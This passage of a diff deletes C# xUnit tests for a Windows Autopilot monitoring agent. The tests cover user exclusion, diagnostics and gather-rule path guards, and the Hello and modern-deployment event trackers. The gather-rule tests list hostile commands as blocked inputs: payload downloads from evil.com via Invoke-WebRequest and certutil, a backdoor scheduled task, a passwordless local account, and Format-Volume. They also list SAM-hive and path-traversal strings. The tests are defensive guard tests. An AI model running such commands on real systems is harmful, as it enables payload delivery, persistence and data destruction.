Assert.False(DesktopArrivalDetector.IsExcludedUser(@"AzureAD\user@contoso.com"));
}
// -- Edge cases (fail-safe) --
[Fact]
public void IsExcludedUser_Null_True()
{
// Null/empty must be excluded (fail-safe — no user = not a real user)
Assert.True(DesktopArrivalDetector.IsExcludedUser(null));
}
[Fact]
public void IsExcludedUser_Empty_True()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser(""));
}
[Fact]
public void IsExcludedUser_SystemCaseInsensitive()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("system"));
Assert.True(DesktopArrivalDetector.IsExcludedUser("System"));
Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
}
[Fact]
public void IsExcludedUser_BackslashAtEnd_ExtractsEmpty()
{
// Trailing backslash: "DOMAIN\" → empty username after split
// Should be excluded (empty = fail-safe)
// Note: LastIndexOf finds \, substring after is empty
// But the code checks backslashIndex < fullUserName.Length - 1
// so "DOMAIN\" with backslash at last position would keep the full string
var result = DesktopArrivalDetector.IsExcludedUser(@"DOMAIN\");
// The method keeps "DOMAIN\" as the full name since backslash is at last position
// This won't match any excluded name, so it returns false (treated as unknown user)
// This is acceptable — WMI won't return "DOMAIN\" for a real process
Assert.False(result);
}
}
}
@@ -1,130 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests path validation for diagnostics log collection.
/// Prevents: path traversal, privacy leaks via C:\Users, SAM hive exfiltration.
/// </summary>
public class DiagnosticsPathGuardsTests
{
// -- Allowed paths --
[Fact]
public void IsDiagnosticsPathAllowed_AutopilotMonitorLogs_True()
{
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\ProgramData\AutopilotMonitor\Logs\agent.log");
Assert.True(result);
}
[Fact]
public void IsDiagnosticsPathAllowed_ImeLogs_True()
{
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log");
Assert.True(result);
}
[Fact]
public void IsDiagnosticsPathAllowed_WindowsPanther_True()
{
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\Windows\Panther\setupact.log");
Assert.True(result);
}
// -- Hard-blocked paths --
[Fact]
public void IsDiagnosticsPathAllowed_UsersDir_AlwaysBlocked()
{
// Must be blocked even in unrestricted mode (privacy protection)
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\Users\admin\Documents\secret.docx", unrestrictedMode: true);
Assert.False(result);
}
[Fact]
public void IsDiagnosticsPathAllowed_SystemConfig_Blocked()
{
// SAM, SECURITY, SYSTEM hives must always be blocked
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\Windows\System32\config\SAM", unrestrictedMode: true);
Assert.False(result);
}
// -- Path traversal --
[Fact]
public void IsDiagnosticsPathAllowed_Traversal_Blocked()
{
// Traversal via ".." after allowed prefix must be caught by GetFullPath normalization
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\ProgramData\AutopilotMonitor\..\..\Users\admin\file.txt");
Assert.False(result);
}
[Fact]
public void IsDiagnosticsPathAllowed_EnvironmentVariable_Expanded()
{
// %ProgramData% should expand to C:\ProgramData
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"%ProgramData%\AutopilotMonitor\Logs\agent.log");
Assert.True(result);
}
// -- Edge cases --
[Fact]
public void IsDiagnosticsPathAllowed_WhitespaceOnly_Blocked()
{
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(" "));
}
[Fact]
public void IsDiagnosticsPathAllowed_NullOrEmpty_Blocked()
{
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(null));
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(""));
}
[Fact]
public void IsDiagnosticsPathAllowed_WildcardInFilename_Allowed()
{
// Wildcards in the last path segment should be supported
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\ProgramData\AutopilotMonitor\Logs\*.log");
Assert.True(result);
}
[Fact]
public void IsDiagnosticsPathAllowed_UnrestrictedMode_AllowsNonBlocked()
{
// In unrestricted mode, non-hard-blocked paths should be allowed
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\SomeRandomDir\logs\file.txt", unrestrictedMode: true);
Assert.True(result);
}
[Fact]
public void IsDiagnosticsPathAllowed_UnallowedDir_Blocked()
{
// Random directory not in allowlist should be blocked in normal mode
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
@"C:\SomeRandomDir\logs\file.txt");
Assert.False(result);
}
}
}
@@ -1,203 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests security guards for remote gather rules.
/// Prevents: path traversal, prefix spoofing, command injection, privacy leaks.
/// Critical: segment-bounded matching ensures SOFTWARE\MicrosoftEvil doesn't match SOFTWARE\Microsoft.
/// </summary>
public class GatherRuleGuardsTests
{
// -- Registry path guards --
[Fact]
public void IsRegistryPathAllowed_KnownPrefix_True()
{
// SOFTWARE\Microsoft\Enrollments is a known allowed prefix from guardrails.json
var result = GatherRuleGuards.IsRegistryPathAllowed(
@"SOFTWARE\Microsoft\Enrollments\{some-guid}\FirstSync");
Assert.True(result);
}
[Fact]
public void IsRegistryPathAllowed_ExactPrefixMatch_True()
{
// Exact match on prefix (no trailing segment)
var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\Enrollments");
Assert.True(result);
}
[Fact]
public void IsRegistryPathAllowed_SegmentBounded_BlocksSpoofing()
{
// SOFTWARE\Microsoft\EnrollmentsEvil must NOT match SOFTWARE\Microsoft\Enrollments
// because the character after "Enrollments" is 'E', not '\'
var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\EnrollmentsEvil\Backdoor");
Assert.False(result);
}
[Fact]
public void IsRegistryPathAllowed_UnrestrictedMode_AllAllowed()
{
var result = GatherRuleGuards.IsRegistryPathAllowed(
@"SOME\RANDOM\PATH", unrestrictedMode: true);
Assert.True(result);
}
[Fact]
public void IsRegistryPathAllowed_EmptyPath_False()
{
Assert.False(GatherRuleGuards.IsRegistryPathAllowed(null));
Assert.False(GatherRuleGuards.IsRegistryPathAllowed(""));
}
// -- File path guards --
[Fact]
public void IsFilePathAllowed_DirectoryTraversal_Blocked()
{
// Path normalization via GetFullPath should catch ".." traversal
var result = GatherRuleGuards.IsFilePathAllowed(
@"C:\ProgramData\Microsoft\IntuneManagementExtension\..\..\..\..\Users\admin\secrets.txt");
Assert.False(result);
}
[Fact]
public void IsFilePathAllowed_UsersDir_AlwaysBlocked()
{
// C:\Users must be blocked even in unrestricted mode (privacy protection)
var result = GatherRuleGuards.IsFilePathAllowed(
@"C:\Users\admin\Documents\file.txt", unrestrictedMode: true);
Assert.False(result);
}
[Fact]
public void IsFilePathAllowed_SystemConfig_AlwaysBlocked()
{
// SAM/SECURITY hives must always be blocked
var result = GatherRuleGuards.IsFilePathAllowed(
@"C:\Windows\System32\config\SAM", unrestrictedMode: true);
Assert.False(result);
}
[Fact]
public void IsFilePathAllowed_EmptyPath_False()
{
Assert.False(GatherRuleGuards.IsFilePathAllowed(null));
Assert.False(GatherRuleGuards.IsFilePathAllowed(""));
}
// -- Command guards --
[Fact]
public void IsCommandAllowed_HardBlocked_EvenUnrestricted()
{
// Download commands must be blocked regardless of unrestricted mode
Assert.False(GatherRuleGuards.IsCommandAllowed(
"Invoke-WebRequest http://evil.com/payload.exe", unrestrictedMode: true));
Assert.False(GatherRuleGuards.IsCommandAllowed(
"Invoke-RestMethod http://evil.com/api", unrestrictedMode: true));
Assert.False(GatherRuleGuards.IsCommandAllowed(
"certutil -urlcache -split -f http://evil.com/payload.exe", unrestrictedMode: true));
}
[Fact]
public void IsCommandAllowed_PersistenceMechanisms_Blocked()
{
Assert.False(GatherRuleGuards.IsCommandAllowed(
"schtasks /create /tn backdoor /tr evil.exe", unrestrictedMode: true));
Assert.False(GatherRuleGuards.IsCommandAllowed(
"Register-ScheduledTask -TaskName backdoor", unrestrictedMode: true));
}
[Fact]
public void IsCommandAllowed_UserManipulation_Blocked()
{
Assert.False(GatherRuleGuards.IsCommandAllowed(
"New-LocalUser -Name hacker -NoPassword", unrestrictedMode: true));
Assert.False(GatherRuleGuards.IsCommandAllowed(
"net user hacker password123 /add", unrestrictedMode: true));
}
[Fact]
public void IsCommandAllowed_MaxLength_Blocked()
{
var longCommand = new string('A', 2001);
Assert.False(GatherRuleGuards.IsCommandAllowed(longCommand, unrestrictedMode: true));
}
[Fact]
public void IsCommandAllowed_ExactMaxLength_Allowed()
{
// Exactly 2000 chars should pass the length check (blocked by allowlist, but not by length)
var exactCommand = new string('A', 2000);
// Won't be in allowlist, but should NOT be blocked by length guard
// In unrestricted mode, should be allowed (passes both length and hard-block checks)
Assert.True(GatherRuleGuards.IsCommandAllowed(exactCommand, unrestrictedMode: true));
}
[Fact]
public void IsCommandAllowed_EmptyCommand_False()
{
Assert.False(GatherRuleGuards.IsCommandAllowed(null));
Assert.False(GatherRuleGuards.IsCommandAllowed(""));
}
[Fact]
public void IsCommandAllowed_DestructiveOps_Blocked()
{
Assert.False(GatherRuleGuards.IsCommandAllowed(
"Remove-Item -Recurse C:\\ImportantData", unrestrictedMode: true));
Assert.False(GatherRuleGuards.IsCommandAllowed(
"Format-Volume -DriveLetter C", unrestrictedMode: true));
}
// -- WMI query guards --
[Fact]
public void IsWmiQueryAllowed_WhitespaceBoundary()
{
// "Win32_OperatingSystemXXX" must NOT match "SELECT * FROM Win32_OperatingSystem"
// because after the class name there must be whitespace or end of string
var allowed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystem");
var spoofed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystemXXX");
// The allowed query should be allowed if it's in the guardrails
// The spoofed query must NOT be allowed (boundary check)
if (allowed) // Only test spoofing if the base query is allowed
Assert.False(spoofed);
}
[Fact]
public void IsWmiQueryAllowed_UnrestrictedMode_AllAllowed()
{
var result = GatherRuleGuards.IsWmiQueryAllowed(
"SELECT * FROM SomeRandomClass", unrestrictedMode: true);
Assert.True(result);
}
[Fact]
public void IsWmiQueryAllowed_EmptyQuery_False()
{
Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null));
Assert.False(GatherRuleGuards.IsWmiQueryAllowed(""));
}
}
}
@@ -1,448 +0,0 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared.Models;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests for <see cref="HelloTracker"/>. Drives event processing via the internal
/// ProcessHelloEvent / ProcessHelloForBusinessEvent seams (EventLogWatcher is Windows-only
/// and not mocked) and timers via TriggerWait/CompletionTimeoutForTest to stay deterministic.
/// </summary>
public sealed class HelloTrackerTests
{
private readonly ConcurrentBag<EnrollmentEvent> _captured = new ConcurrentBag<EnrollmentEvent>();
private int _helloCompletedInvocations;
private HelloTracker CreateTracker(int helloWaitTimeoutSeconds = 30)
{
var tracker = new HelloTracker(
sessionId: "sess-1",
tenantId: "tenant-1",
onEventCollected: e => _captured.Add(e),
logger: TestLogger.Instance,
helloWaitTimeoutSeconds: helloWaitTimeoutSeconds);
tracker.HelloCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _helloCompletedInvocations);
return tracker;
}
private List<EnrollmentEvent> Captured => _captured.ToList();
private EnrollmentEvent Last(string eventType) => Captured.LastOrDefault(e => e.EventType == eventType);
// =====================================================================
// UDR terminal events (300 / 301 / 362)
// =====================================================================
[Fact]
public void ProcessHelloEvent_300_MarksCompletedAndFiresEvent()
{
var t = CreateTracker();
t.ProcessHelloEvent(300, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false);
Assert.True(t.IsHelloCompleted);
Assert.Equal("completed", t.HelloOutcome);
Assert.Equal(1, _helloCompletedInvocations);
var evt = Last("hello_provisioning_completed");
Assert.NotNull(evt);
Assert.Equal(EventSeverity.Info, evt.Severity);
Assert.True(evt.ImmediateUpload);
}
[Fact]
public void ProcessHelloEvent_301_MarksCompletedWithFailedEventType()
{
var t = CreateTracker();
t.ProcessHelloEvent(301, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false);
Assert.True(t.IsHelloCompleted);
Assert.Equal("completed", t.HelloOutcome);
Assert.Equal(1, _helloCompletedInvocations);
var evt = Last("hello_provisioning_failed");
Assert.NotNull(evt);
Assert.Equal(EventSeverity.Error, evt.Severity);
Assert.True(evt.ImmediateUpload);
}
[Fact]
public void ProcessHelloEvent_362_MarksCompletedAsBlocked()
{
var t = CreateTracker();
t.ProcessHelloEvent(362, DateTime.UtcNow, "prov", false);
Assert.True(t.IsHelloCompleted);
Assert.Equal(1, _helloCompletedInvocations);
var evt = Last("hello_provisioning_blocked");
Assert.NotNull(evt);
Assert.Equal(EventSeverity.Warning, evt.Severity);
}
[Fact]
public void ProcessHelloEvent_360_IsSnapshotOnly_DoesNotMarkCompleted()
{
var t = CreateTracker();
t.ProcessHelloEvent(360, DateTime.UtcNow, "prov", false);
Assert.False(t.IsHelloCompleted);
Assert.Null(t.HelloOutcome);
Assert.Equal(0, _helloCompletedInvocations);
Assert.NotNull(Last("hello_provisioning_willnotlaunch"));
}
[Fact]
public void ProcessHelloEvent_358_EmitsWillLaunch_NoCompletion()
{
var t = CreateTracker();
t.ProcessHelloEvent(358, DateTime.UtcNow, "prov", false);
Assert.False(t.IsHelloCompleted);
Assert.Equal(0, _helloCompletedInvocations);
Assert.NotNull(Last("hello_provisioning_willlaunch"));
}
[Fact]
public void ProcessHelloEvent_DuplicateTerminal_DoesNotRefireHelloCompleted()
{
var t = CreateTracker();
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
t.ProcessHelloEvent(301, DateTime.UtcNow.AddSeconds(1), "prov", false);
Assert.Equal(1, _helloCompletedInvocations); // second call sees _isHelloCompleted=true
}
[Fact]
public void ProcessHelloEvent_BackfillFlag_AddedToData()
{
var t = CreateTracker();
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", isBackfill: true);
var evt = Last("hello_provisioning_completed");
Assert.True(evt.Data.ContainsKey("backfill"));
Assert.Equal(true, evt.Data["backfill"]);
}
// =====================================================================
// HelloForBusiness events (3024 / 6045)
// =====================================================================
[Fact]
public void ProcessHelloForBusinessEvent_3024_EmitsProcessingStarted_NoCompletion()
{
var t = CreateTracker();
t.ProcessHelloForBusinessEvent(3024, DateTime.UtcNow, "Hello processing started", "provider", false);
Assert.False(t.IsHelloCompleted);
Assert.Equal(0, _helloCompletedInvocations);
Assert.NotNull(Last("hello_processing_started"));
}
[Fact]
public void ProcessHelloForBusinessEvent_6045_WithUserSkipHResult_MarksSkipped()
{
var t = CreateTracker();
t.ProcessHelloForBusinessEvent(
6045, DateTime.UtcNow,
"User cancelled Hello for Business: HRESULT 0x801C044F",
"provider", false);
Assert.True(t.IsHelloCompleted);
Assert.Equal("skipped", t.HelloOutcome);
Assert.Equal(1, _helloCompletedInvocations);
var evt = Last("hello_skipped");
Assert.NotNull(evt);
Assert.Equal(EventSeverity.Warning, evt.Severity);
Assert.Equal("0x801C044F", evt.Data["hresult"]);
}
[Fact]
public void ProcessHelloForBusinessEvent_6045_WithOtherHResult_DoesNotMarkCompleted()
{
var t = CreateTracker();
t.ProcessHelloForBusinessEvent(
6045, DateTime.UtcNow,
"Hello processing stopped: HRESULT 0x80070005",
"provider", false);
Assert.False(t.IsHelloCompleted);
Assert.Equal(0, _helloCompletedInvocations);
Assert.NotNull(Last("hello_processing_stopped"));
}
[Fact]
public void ExtractHResultFromDescription_MatchesValidHex()
{
Assert.Equal("0x801C044F",
HelloTracker.ExtractHResultFromDescription("something HRESULT 0x801C044F tail"));
Assert.Null(HelloTracker.ExtractHResultFromDescription("no hresult here"));
Assert.Null(HelloTracker.ExtractHResultFromDescription(null));
Assert.Null(HelloTracker.ExtractHResultFromDescription(""));
}
// =====================================================================
// Wait timer — policy-enabled path (extend to completion timer)
// =====================================================================
[Fact]
public void WaitTimeout_WithPolicyEnabled_EmitsExtendedWaitAndArmsCompletionTimer()
{
var t = CreateTracker();
t.SetPolicyForTest(helloEnabled: true, source: "GPO");
t.StartHelloWaitTimer();
t.TriggerWaitTimeoutForTest();
Assert.False(t.IsHelloCompleted);
Assert.Equal(0, _helloCompletedInvocations);
Assert.True(t.IsCompletionTimerActiveForTest);
var evt = Last("hello_wait_timeout");
Assert.NotNull(evt);
Assert.Equal("extended_wait", evt.Data["action"]);
Assert.Equal(true, evt.Data["helloPolicyEnabled"]);
}
// =====================================================================
// Wait timer — policy-disabled path (immediate completion)
// =====================================================================
[Fact]
public void WaitTimeout_WithoutPolicyConfigured_MarksNotConfiguredAndFiresCompleted()
{
var t = CreateTracker();
t.StartHelloWaitTimer();
t.TriggerWaitTimeoutForTest();
Assert.True(t.IsHelloCompleted);
Assert.Equal("not_configured", t.HelloOutcome);
Assert.Equal(1, _helloCompletedInvocations);
var evt = Last("hello_wait_timeout");
Assert.NotNull(evt);
Assert.Equal("enrollment_complete", evt.Data["action"]);
}
[Fact]
public void WaitTimeout_WithPolicyDetectedAsDisabled_MarksNotConfigured()
{
var t = CreateTracker();
t.SetPolicyForTest(helloEnabled: false, source: "GPO");
t.StartHelloWaitTimer();
t.TriggerWaitTimeoutForTest();
Assert.True(t.IsHelloCompleted);
Assert.Equal("not_configured", t.HelloOutcome);
Assert.Equal(1, _helloCompletedInvocations);
}
[Fact]
public void WaitTimeout_AfterWizardStarted_IsIgnored()
{
var t = CreateTracker();
t.NotifyHelloWizardStarted();
t.TriggerWaitTimeoutForTest();
Assert.False(t.IsHelloCompleted);
Assert.Equal(0, _helloCompletedInvocations);
}
[Fact]
public void WaitTimeout_AfterHelloAlreadyCompleted_IsIgnored()
{
var t = CreateTracker();
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
var initialCount = _helloCompletedInvocations;
t.TriggerWaitTimeoutForTest();
Assert.Equal(initialCount, _helloCompletedInvocations);
}
// =====================================================================
// Completion timer
// =====================================================================
[Fact]
public void CompletionTimeout_AfterWizardStart_MarksTimeout()
{
var t = CreateTracker();
t.NotifyHelloWizardStarted();
t.TriggerCompletionTimeoutForTest();
Assert.True(t.IsHelloCompleted);
Assert.Equal("timeout", t.HelloOutcome);
Assert.Equal(1, _helloCompletedInvocations);
Assert.NotNull(Last("hello_completion_timeout"));
}
[Fact]
public void CompletionTimeout_WithoutWizardStart_MarksWizardNotStarted()
{
var t = CreateTracker();
t.TriggerCompletionTimeoutForTest();
Assert.True(t.IsHelloCompleted);
Assert.Equal("wizard_not_started", t.HelloOutcome);
}
// =====================================================================
// Cross-boundary notifications
// =====================================================================
[Fact]
public void NotifyHelloWizardStarted_StopsWaitTimer_StartsCompletionTimer()
{
var t = CreateTracker();
t.StartHelloWaitTimer();
Assert.True(t.IsWaitTimerActiveForTest);
t.NotifyHelloWizardStarted();
Assert.False(t.IsWaitTimerActiveForTest);
Assert.True(t.IsCompletionTimerActiveForTest);
Assert.True(t.IsHelloWizardStartedForTest);
}
[Fact]
public void NotifyHelloWizardStarted_Idempotent()
{
var t = CreateTracker();
t.NotifyHelloWizardStarted();
t.NotifyHelloWizardStarted();
Assert.True(t.IsHelloWizardStartedForTest);
}
[Fact]
public void NotifyEspExited_PopulatedIntoWaitTimeoutDataField()
{
var t = CreateTracker();
t.NotifyEspExited();
t.StartHelloWaitTimer();
t.TriggerWaitTimeoutForTest();
var evt = Last("hello_wait_timeout");
Assert.Equal(true, evt.Data["espExitDetected"]);
}
// =====================================================================
// External coordination API
// =====================================================================
[Fact]
public void ForceMarkHelloCompleted_SetsOutcome_DoesNotFireEvent()
{
var t = CreateTracker();
t.ForceMarkHelloCompleted("device_only_timeout");
Assert.True(t.IsHelloCompleted);
Assert.Equal("device_only_timeout", t.HelloOutcome);
Assert.Equal(0, _helloCompletedInvocations); // Force does NOT invoke callback
}
[Fact]
public void ForceMarkHelloCompleted_WhenAlreadyCompleted_IsNoOp()
{
var t = CreateTracker();
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
var initialOutcome = t.HelloOutcome;
t.ForceMarkHelloCompleted("override_attempt");
Assert.Equal(initialOutcome, t.HelloOutcome); // No override once terminal
}
[Fact]
public void ResetForEspResumption_ClearsAllHelloStateAndOutcome()
{
var t = CreateTracker();
t.NotifyHelloWizardStarted();
t.NotifyEspExited();
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
Assert.True(t.IsHelloCompleted);
t.ResetForEspResumption();
Assert.False(t.IsHelloCompleted);
Assert.Null(t.HelloOutcome);
Assert.False(t.IsHelloWizardStartedForTest);
Assert.False(t.IsWaitTimerActiveForTest);
Assert.False(t.IsCompletionTimerActiveForTest);
}
[Fact]
public void StartHelloWaitTimer_WhenAlreadyCompleted_IsNoOp()
{
var t = CreateTracker();
t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
t.StartHelloWaitTimer();
Assert.False(t.IsWaitTimerActiveForTest);
}
[Fact]
public void StartHelloWaitTimer_WhenWizardAlreadyStarted_IsNoOp()
{
var t = CreateTracker();
t.NotifyHelloWizardStarted();
t.StartHelloWaitTimer();
Assert.False(t.IsWaitTimerActiveForTest);
}
[Fact]
public void StartHelloWaitTimer_CalledTwice_DoesNotStartSecondTimer()
{
var t = CreateTracker();
t.StartHelloWaitTimer();
Assert.True(t.IsWaitTimerActiveForTest);
t.StartHelloWaitTimer(); // no-op
Assert.True(t.IsWaitTimerActiveForTest);
}
// =====================================================================
// Policy detection emission
// =====================================================================
[Fact]
public void SetPolicyForTest_Enabled_EmitsPolicyDetectedEvent()
{
var t = CreateTracker();
t.SetPolicyForTest(helloEnabled: true, source: "CSP/Intune (device-scoped)");
Assert.True(t.IsPolicyConfigured);
var evt = Last("hello_policy_detected");
Assert.NotNull(evt);
Assert.Equal(true, evt.Data["helloEnabled"]);
Assert.Equal("CSP/Intune (device-scoped)", evt.Data["policySource"]);
}
}
}
@@ -1,415 +0,0 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using Newtonsoft.Json;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests for <see cref="ModernDeploymentTracker"/>. Drives the ProcessEvent pipeline via
/// primitive inputs (EventRecord is abstract and Windows-only, so tests don't synthesise it).
/// Covers: level → event-type mapping, harmless-warning downgrade, WhiteGlove fire-once,
/// WhiteGlove keyword guard, cross-restart dedup via persisted state.
/// </summary>
public sealed class ModernDeploymentTrackerTests : IDisposable
{
private readonly string _tempDir;
private readonly ConcurrentBag<EnrollmentEvent> _captured;
public ModernDeploymentTrackerTests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "mdt-test-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
_captured = new ConcurrentBag<EnrollmentEvent>();
}
public void Dispose()
{
try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
catch { /* best-effort */ }
}
private ModernDeploymentTracker CreateTracker(string stateDirectory = null, int[] harmlessEventIds = null)
{
return new ModernDeploymentTracker(
sessionId: "sess-1",
tenantId: "tenant-1",
onEventCollected: e => _captured.Add(e),
logger: TestLogger.Instance,
logLevelMax: 3,
backfillEnabled: true,
backfillLookbackMinutes: 30,
stateDirectory: stateDirectory,
harmlessEventIds: harmlessEventIds);
}
private List<EnrollmentEvent> GetCaptured() => new List<EnrollmentEvent>(_captured);
// ========== Level → EventType mapping ==========
[Fact]
public void ProcessEvent_Level1_MappedToError()
{
var tracker = CreateTracker();
tracker.ProcessEvent(
eventId: 42, level: 1, levelDisplayName: "Critical", providerName: "prov",
timeCreatedUtc: DateTime.UtcNow, formattedDescription: "Boom",
shortName: "Autopilot", channelName: ModernDeploymentTracker.AutopilotChannel,
isBackfill: false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
Assert.Equal(EventSeverity.Error, evt.Severity);
Assert.Equal("ModernDeploymentWatcher", evt.Source);
Assert.Equal(EnrollmentPhase.Unknown, evt.Phase);
}
[Fact]
public void ProcessEvent_Level2_MappedToError()
{
var tracker = CreateTracker();
tracker.ProcessEvent(42, 2, "Error", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
Assert.Equal(Constants.EventTypes.ModernDeploymentError, Assert.Single(GetCaptured()).EventType);
}
[Fact]
public void ProcessEvent_Level3_MappedToWarning()
{
var tracker = CreateTracker();
tracker.ProcessEvent(42, 3, "Warning", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentWarning, evt.EventType);
Assert.Equal(EventSeverity.Warning, evt.Severity);
}
[Fact]
public void ProcessEvent_Level4_MappedToInfoLog()
{
var tracker = CreateTracker();
tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
Assert.Equal(EventSeverity.Info, evt.Severity);
}
[Fact]
public void ProcessEvent_NullLevel_DefaultsToInfoLog()
{
var tracker = CreateTracker();
tracker.ProcessEvent(42, null, null, null, DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, Assert.Single(GetCaptured()).EventType);
}
// ========== Harmless warning downgrade (Event 100, Level 3) ==========
[Fact]
public void ProcessEvent_EventId100Level3_DowngradedToDebugLog()
{
var tracker = CreateTracker();
tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow,
"Autopilot policy not found",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
Assert.Equal(EventSeverity.Debug, evt.Severity);
}
[Fact]
public void ProcessEvent_EventId100Level2_DowngradedToDebugLog()
{
var tracker = CreateTracker();
tracker.ProcessEvent(100, 2, "Error", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
Assert.Equal(EventSeverity.Debug, evt.Severity);
}
[Fact]
public void ProcessEvent_EventId100Level1Critical_NeverDowngraded()
{
var tracker = CreateTracker();
tracker.ProcessEvent(100, 1, "Critical", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
Assert.Equal(EventSeverity.Error, evt.Severity);
}
[Fact]
public void ProcessEvent_DefaultHarmlessList_IncludesEventId1005()
{
var tracker = CreateTracker();
tracker.ProcessEvent(1005, 3, "Warning", "prov", DateTime.UtcNow, "noisy",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
Assert.Equal(EventSeverity.Debug, evt.Severity);
}
[Fact]
public void ProcessEvent_CustomHarmlessList_OverridesDefaults()
{
var tracker = CreateTracker(harmlessEventIds: new[] { 4242 });
// 100 is NOT in the custom list → stays Warning
tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
// 4242 IS in the custom list → downgraded
tracker.ProcessEvent(4242, 3, "Warning", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var events = GetCaptured();
Assert.Equal(2, events.Count);
Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 100 && e.Severity == EventSeverity.Warning);
Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 4242 && e.Severity == EventSeverity.Debug);
}
[Fact]
public void ProcessEvent_UnlistedHighLevelEvent_RemainsAsError()
{
var tracker = CreateTracker();
// 999 not in the default harmless list → Level 2 stays Error
tracker.ProcessEvent(999, 2, "Error", "prov", DateTime.UtcNow, "msg",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
